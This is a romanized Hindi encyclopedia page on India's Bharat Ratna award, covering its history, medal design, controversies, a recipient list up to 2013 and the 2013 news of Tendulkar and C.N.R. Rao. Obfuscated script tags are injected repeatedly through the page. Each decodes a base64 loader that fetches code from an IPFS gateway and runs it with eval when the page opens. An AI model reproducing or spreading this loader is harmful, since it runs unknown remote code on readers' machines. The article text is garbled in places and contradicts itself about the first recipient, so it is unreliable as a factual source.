भारत रत्‍न

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat rath‍n
bharat ratn|200px|center
vivaran	'bharat rath‍n' uchh‍chatam nagarik samh‍man hai, jo kala, sahity, vijnan, rajanitijn, vicharak, vaijnanik, udyogapati, lekhak aur samajasevi ko asadharan seva ke lie tatha uchch lok seva ko manh‍yata dene ke lie bharat sarakar ki or se diya jata hai.
shuruat	2 janavari, 1954
svaroop	taanbe ke bane pipal ke patte par pletinam ka chamakata soory ka chihn hota hai jisake niche chaandi mean likha rahata hai "bharat ratn" aur yah safed phite ke sath gale mean pahana jata hai.
sarvapratham sammanit	sarvapalli radhakrishnan, chandrashekhar veankat raman aur si. rajagopalachari
aantim sammanit	d aau. sienar rav aur sachin teandulakar
kul sammanit	43
vishesh	koee likhit pravadhan nahian hai ki 'bharat rath‍n' keval bharatiy nagarikoan ko hi diya jaega.
sanbandhit lekh	'padmashri', 'padm bhooshan' aur 'padm vibhooshan'
any janakari	netaji subhashachandr bos ko 1992 mean 'bharat ratn' se maranoparant sammanit kiya gaya tha. kiantu unaki mrityu vivadit hone ke karan anek prashnoan ko uthaya gaya. at: bharat sarakar ne yah puraskar vapas le liya tha. yah puraskar vapas lene ka yah ekamatr udaharan hai.
adyatan‎	17:07, 17 navambar 2013 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

‘bharat ratn’ desh ka sarvochch samman hai. is alankaran se un vyaktiyoan ko sammanit kiya jata hai jinhoanne desh ke kisi bhi kshetr mean mahattvapoorn kary kie hoan, apane-apane kshetroan mean uth‍kri‍shh‍t kary kar hamare desh ka gaurav badhaya aur hamare desh ko aantararashh‍triy manh‍yata prapt huee. bharat rath‍n uchh‍chatam nagarik samh‍man hai, jo kala, sahith‍y, vijnan, rajanitijn, vicharak, vaijnanik, udyogapati, lekhak aur samajasevi ko asadharan seva ke lie tatha uchch lok seva ko manh‍yata dene ke lie bharat sarakar ki or se diya jata hai. ‘bharat-ratn’ un mahan vyaktiyoan ki jivan gatha to hai hi, sath mean un mahapurushoan ke jivan kal ka itihas bhi hai. da. vishveshvaraiya ne jal ki apoorti, baandh adi ki jo yojanaean banaeean aur unhean sakar kiya, unaki us samay kalpana kathin thi. mahan udyogapati je. ar. di. tata ne viman-seva us samay aranbh ki jab thik dhang se havaee adde bhi nahian the. ‘bharat-ratn’ aisi vibhootiyoan ka charitr-chitran hai jinake bina desh ka itihas adhoora hai.

‘bharat-ratn’ sarvochch samman

yah prativarsh diya jane vala alankaran nahian. yah kisi vyakti ke sanpoorn vyaktitv aur desh ke prati usaki atyant samarpan bhavana ke lie yada-kada diya jane vala alankaran hai. any puraskaroan 'padmashri', 'padm bhooshan' aur 'padm vibhooshan' adi se ‘bharat-ratn’ shreshth puraskar hai. yah un adarsh mahan purushoan ko hi diya jata hai jinaki jivan gatha puny-bhagirathi ke saman hai, jise janakar ek sadharan manushy apane ap ko pap mukt aur nirmal pata hai. ‘bharat-ratn’ mean aisi vibhootiyoan ke divy charitr haian jinhoanne jivan ko itani ooanchaiyoan tak pahuanchaya jahaan ki koee kalpana nahian kar sakata. sanbhavat: ikabal ne aise hi mahan purushoan ke lie kaha tha-

khudi ko kar buland itana ki har takadir se pahale khuda bande se khud poochhe bata teri raza kya hai ?

‘bharat-ratn’ anek mahan vyaktiyoan ki jivan-gatha ke sath yah bharat ke us kal ka itihas bhi hai, jis kal se in adarsh purushoan ka sanbandh raha. ‘bharat-ratn’ keval rajanetaoan ka hi nahian varan isamean ve log bhi sammilit haian jinhoanne desh ko nee upalabdhi di aur desh ko pragati ke marg par agrasar karane ka yatn kiya.

svaroop

is purash‍kar ke roop mean die jane vale samh‍man ki mool roop-rekha 35 milimitar vh‍yas vala golakar sh‍varn padak hai jis par soory aur oopar hindi bhasha mean bharat rath‍n aur niche ek phooloan ka guladash‍ta bana hota hai pichhe ki or shasakiy sanket aur adarsh-vakh‍y likha hota hai. ise safed phite mean dalakar gale mean pahanaya jata hai. ek varsh bad is dijain ko badal diya gaya tha. taanbe ke bane pipal ke patte par pletinam ka chamakata soory bana diya gaya. jisake niche chaandi mean likha rahata hai "bharat ratn" aur yah safed phite ke sath gale mean pahana jata hai.

itihas

yah puraskar 2 janavari 1954 ko prarambh kiya gaya tha. yah puraskar bharat ke pratham rashtrapati shri rajendr prasad dvara ghoshit kiya gaya tha. doosare alankaranoan ke bhaanti is samman ko bhi, nam ke sath padavi ke roop mean prayog nahian kiya ja sakata hai. shuroo mean is samman ko 'maranoparaant' nahian diya jata tha, kiantu 1955 ke bad yah nirnay liya gaya aur yah maranoparaant bhi diya jane laga. 13 julaee, 1977 se 26 janavari, 1980 tak is puraskar ko sthagit kar diya gaya tha.

parampara

bharat rath‍n purash‍kar ki paramh‍para 1954 mean shuroo huee thi.

• bharat ratn 26 janavari ko bharat ke rashtrapati dvara diya jata hai.
• sabase pahala purash‍kar prasiddh vaijnanik chandrashekhar veankataraman ko diya gaya tha. tab se anek vishishh‍t janoan ko apane-apane kshetr mean uth‍krishh‍tata pane ke lie yah purash‍kar prash‍tut kiya gaya hai.
• janata parti dvara is puraskar ko 1977 mean band kar diya gaya tha kiantu 1980 mean kaangres sarakar ne ise phir se dobara shuroo kiya.
• 1980 mean dobara shuroo hone par ise sarvapratham madar teresa ne prapt kiya tha.
• hamare bhootapoorv rashh‍trapati, vaijnanik d aau. e. pi. je. abh‍dul kalam ko bhi 1997 mean yah pratishthit purash‍kar diya gaya.
• isaka koee likhit pravadhan nahian hai ki 'bharat rath‍n' keval bharatiy nagarikoan ko hi diya jaega.
• yah purash‍kar sh‍vabhavik roop se bharatiy nagarik ban chuki 'egh‍nes goankha bojakhiyoo', jinh‍hean ham madar teresa ke nam se janate haian, ko diya gaya.
• do anh‍y abharatiy - khan abdulagaffar khan ko 1987 mean aur nelh‍san mandela ko 1990 mean yah puraskar diya gaya.
• yah bhi anivary nahian hai ki bharat rath‍n samh‍man prativarsh diya jaega.
• maranoparaant sarvapratham lalabahadur shastri ko bharat ratn se sammanit kiya gaya tha.
• shri satyapal anand ne rajiv gaandhi ko maranoparaant bharat ratn dene ki prakriya ko madhy pradesh uchch nyayalay mean chunauti di thi.

virodhabhas

• svatantrata senani netaji subhashachandr bos ko 1992 mean 'bharat ratn' se maranoparant sammanit kiya gaya tha. kiantu unaki mrityu vivadit hone ke karan anek prashnoan ko uthaya gaya tha. at: bharat sarakar ne yah puraskar vapas le liya tha. yah puraskar vapas lene ka yah ekamatr udaharan hai.
• svatantr bharat ke pratham shiksha mantri maulana abul kalam azad ko jab 'bharat ratn' diya gaya to unhoanne isaka virodh kiya. unaka vichar tha ki isaki chayan samiti mean rahe vyakti ko yah samman nahian diya jana chahiye. 1992 mean unhean maranoparaant 'bharat ratn' diya gaya.

bharat ratn sammanit vyaktitv soochi

kram	varsh	nam	jivan	kary kshetr	chitr
1	1954	d aauktar sarvapalli radhakrishnan	5 sitanbar 1888-17 aprail 1975	darshanik, dvitiy rashtrapati-bharat	30px|link=sarvapalli radhakrishnan
2	1954	chakravarti rajagopalachari	10 disanbar 1878-25 disanbar 1972	svatantrata senani, aantim gavarnar janaral	30px|link=chakravarti rajagopalachari
3	1954	d aau. si. vi. raman	7 navanbar 1888-21 navanbar 1970	bhautikashastri, nobel puraskar vijeta	30px|link=chandrashekhar veankat raman
4	1955	d aauktar bhagavan das	12 janavari 1869-18 sitanbar 1958	svatantrata senani, lekhak	30px|link=bhagavan das
5	1955	sar d aau. mokshaguandam vishveshvarayya	15 sitanbar 1861-14 aprail 1962	sivil ianjiniyar, maisoor ke divan	30px|link=mokshaguandam vishveshvaraiya
6	1955	pan. javahar lal neharoo	14 navanbar 1889-27 mee 1964	svatantrata senani, lekhak, pratham pradhanamantri-bharat	30px|link=javaharalal neharoo
7	1957	goviand ballabh pant	10 sitanbar 1887-7 march 1961	svatantrata senani, pratham mukhyamantri-uttar pradesh, dvitiy grihamantri-bharat	30px|link=goviand ballabh pant
8	1958	d aau. dhoando keshav karve	18 aprail 1858-9 navanbar 1962	shikshak, samajasudharak	30px|link=dhoando keshav karve
9	1961	d aau. bidhan chandr ray	1 julaee 1882-1 julaee 1962	chikitsak, mukhyamantri-pashchimi bangal	30px|link=bidhan chandr ray
10	1961	purushottam das tandan	1 agast 1882-1 julaee 1962	svatantrata senani, shikshak	30px|link=purushottam das tandan
11	1962	d aau. rajeandr prasad	3 disanbar 1884-28 faravari 1963	svatantrata senani, vidhivetta, pratham rashtrapati-bharat	30px|link=rajendr prasad
12	1963	d aau. zakir husain	8 faravari 1897-3 mee 1969	vidvan, tritiy rashtrapati-bharat	30px|link=zakir husain
13	1963	d aau. paandurang vaman kane	1880-1972	bharatavid, sanskrit vidvan	30px|link=paandurang vaman kane
14	1966	lal bahadur shastri	2 aktoobar 1904 - 11 janavari 1966,	svatantrata senani, tritiy pradhanamantri,-bharat, (maranoparant)	30px|link=lal bahadur shastri
15	1971	iandira gaandhi	19 navanbar 1917-31 aktoobar 1984	chaturth pradhanamantri-bharat	30px|link=iandira gaandhi
16	1975	varahagiri veankat giri	10 agast 1894-23 joon 1980	shramik sanghavadi, chaturth rashtrapati-bharat	30px|link=vi. vi. giri
17	1976	ke. kamaraj	15 julaee 1903-1975,	svatantrata senani, mukhyamantri-madras, (maranoparant)	30px|link=ke. kamaraj
18	1980	madar teresa	26 agast 1910-5 sitanbar 1997	kॅtholik nan, mishanariz sansthapak, nobel puraskar vijeta	30px|lnik=madar teresa
19	1983	achary vinoba bhave	11 sitanbar 1895-15 navanbar 1982,	svatantrata senani, samaj sudharak, (maranoparant)	30px|link=vinoba bhave
20	1987	khan abdulagaffar khan	20 janavari 1890-1988,	svatantrata senani, pratham abharatiy praptakarta	30px|link=khan abdulagaffar khan
21	1988	marudur gopalan ramachandran (em ji ar)	17 janavari 1917-24 disanbar 1987,	abhineta, mukhyamantri-tamilanadu, (maranoparant)	30px|link=marudur gopalan ramachandran
22	1990	d aau. bhimarav ramaji ambedakar	14 aprail 1891-6 disanbar 1956	bharatiy sanvidhan ke vastukar, rajanitijn, arthashastri, vidvan, (maranoparant)	30px|link=bhimarav ambedakar
23	1990	nelh‍san mandela	18 julaee 1918,	dvitiy abharatiy praptakarta, rangabhed virodhi aandolan ke neta, nobel puraskar vijeta	30px|link=nelh‍san mandela
24	1991	rajiv gaandhi	20 agast1944-21 mee 1991	satavean pradhanamantri, (maranoparant)	30px|link=rajiv gaandhi
25	1991	saradar vallabh bhaee patel	31 aktoobar 1875-15 disanbar 1950	svatantrata senani, pratham grihamantri-bharat, (maranoparant)	30px|link=saradar patel
26	1991	moraraji desaee	29 faravari 1896-10 aprail 1995	svatantrata senani, paanchave pradhanamantri-bharat	30px|link=moraraji desaee
27	1992	maulana abul kalam azad	11 navanbar 1888-22 faravari 1958	svatantrata senani, pratham shikshamantri-bharat, (maranoparant)	30px|link=abulakalam azad
28	1992	jahaangir ratanaji dadabhaee tata (je. ar. di. tata)	29 julaee 1904-29 navanbar 1993	udyogapati, (maranoparant)	30px|link=je. ar. di. tata
29	1992	satyajit re (ray)	2 mee 1921-23 aprail 1992	film nirmata-nirdeshak	30px|link=satyajit ray
30	1997	d aau. e. pi. je. abdul kalam	15 aktoobar 1931	vaijnanik, gyarahavean rashtrapati-bharat	30px|link=abdul kalam
31	1997	gulazarilal nanda	4 julaee 1897-15 janavari 1998	svatantrata senani, do bar karyavahak pradhanamantri-bharat	30px|link=gulazarilal nanda
32	1997	aruna asaf ali	16 julaee 1909-29 julaee 1996	svatantrata senani, (maranoparant)	30px|link=aruna asaf ali
33	1998	em.es. subbalakshmi	16 sitanbar 1916-11 disanbar 2004	gayika shastriy sangit	30px|link=em. es. subbulakshmi
34.	1998	si. subrahmanyam	30 janavari 1910-7 navanbar 2000	svatantrata senani, krishi mantri-bharat	30px|link=si. subrahmanyam
35	1998	jayaprakash narayan	11 aktoobar 1902-8 aktoobar 1979	svatantrata senani, rajanitijn, (maranoparant)	30px|link=jayaprakash narayan
36	1999	pan. ravi shankar	7 aprail 1920	sitar vadak	30px|link=ravi shankar
37	1999	amarty sen	3 navanbar 1933	arthashastri, nobel puraskar vijeta	30px|link=amarty sen
38	1999	gopinath boradoloee	1890 -1950	svatantrata senani, mukhyamantri-asam, (maranoparant)	30px|link=gopinath boradoloee
39	2001	lata mangeshakar	28 sitanbar 1929	parshvagayika	30px|link=lata mangeshakar
40	2001	ustad bismilla khaan	21 march 1916 - 21 agast 2006	shahanaee vadak	30px|link=bismillah khaan
41	2008	pan.bhimasen joshi	4 faravari 1922 - 24 janavari 2011	shastriy gayak	30px|link=bhimasen joshi
42	2013	pro. si. en. ar. rav	30 joon, 1934	rasayan vaijnanik	30px|link=si. en. ar. rav
43	2013	sachin teandulakar	24 aprॅl, 1973	kriket khila di	30px|link=sachin teandulakar

samachar

16 navanbar, 2013 shanivar

sachin teandulakar aur pro. sienar rav ko bharat ratn dene ki ghoshana

[[chitr:CNR-Rao-and-Sachin-Tendulkar.jpg|thumb|400px|pro. sienar rav aur sachin teandulakar]] mastar blastar sachin teandulakar aur vaijnanik pro. sienar rav ko desh ka sarvochch nagarik samman 'bharat ratn' dene ki ghoshana ki gee hai. bharat sarakar ne kee varshoan bad bharat ratn puraskar die haian. pichhali bar yah puraskar pandit bhimasen joshi ko sanh 2008 mean diya gaya tha.

pro. sienar rav

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ratn se sammanit kie jane vale desh ke pramukh rasayan vaijnanik d aau. sienar rav ki thos avastha s aaulid stet evan aur strakcharal rasayan vijnan mean bharat hi nahian duniya bhar mean koee sani nahian hai. d aau. rav n keval utkrisht rasayanashastri hai balki unhoanne desh ki vaijnanik nitiyoan ko banane mean bhi agrani bhoomika nibhaee hai. is samay d aau. rav pradhanamantri ki vaijnanik salahakar samiti ke adhyaksh haian. vah san 1985 mean pratham bar aur san 2005 mean doosari bar is samiti ke adhyaksh niyukt hue haian.

sachin teandulakar

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

apane 24 sal ke gauravapoorn aantararashtriy kariyar ka aant karane vale sachin teandulakar ko vestiandij ke khilaf muanbee mean unake vidaee test ke samapt hote hi is shirsh puraskar ke lie chun liya gaya. rashtrapati bhavan ke pravakta venu rajamoni ki ek sankshipt bayan jari karake kaha ki rashtrapati ne teandulakar ko bharat ratn dene ka phaisala kiya hai, jinhoanne aj aantararashtriy kriket ko alavida kaha.

samachar ko vibhinn srotoan par padhean

• vebaduniya hiandi
• prabhat khabar
• zi nyooj

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

• bharat ratn sammanit vyaktitv soochi, bharat sarakar
• bharat ratn, bharat sarakar
• Those who said no to top awards, Times Of India

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>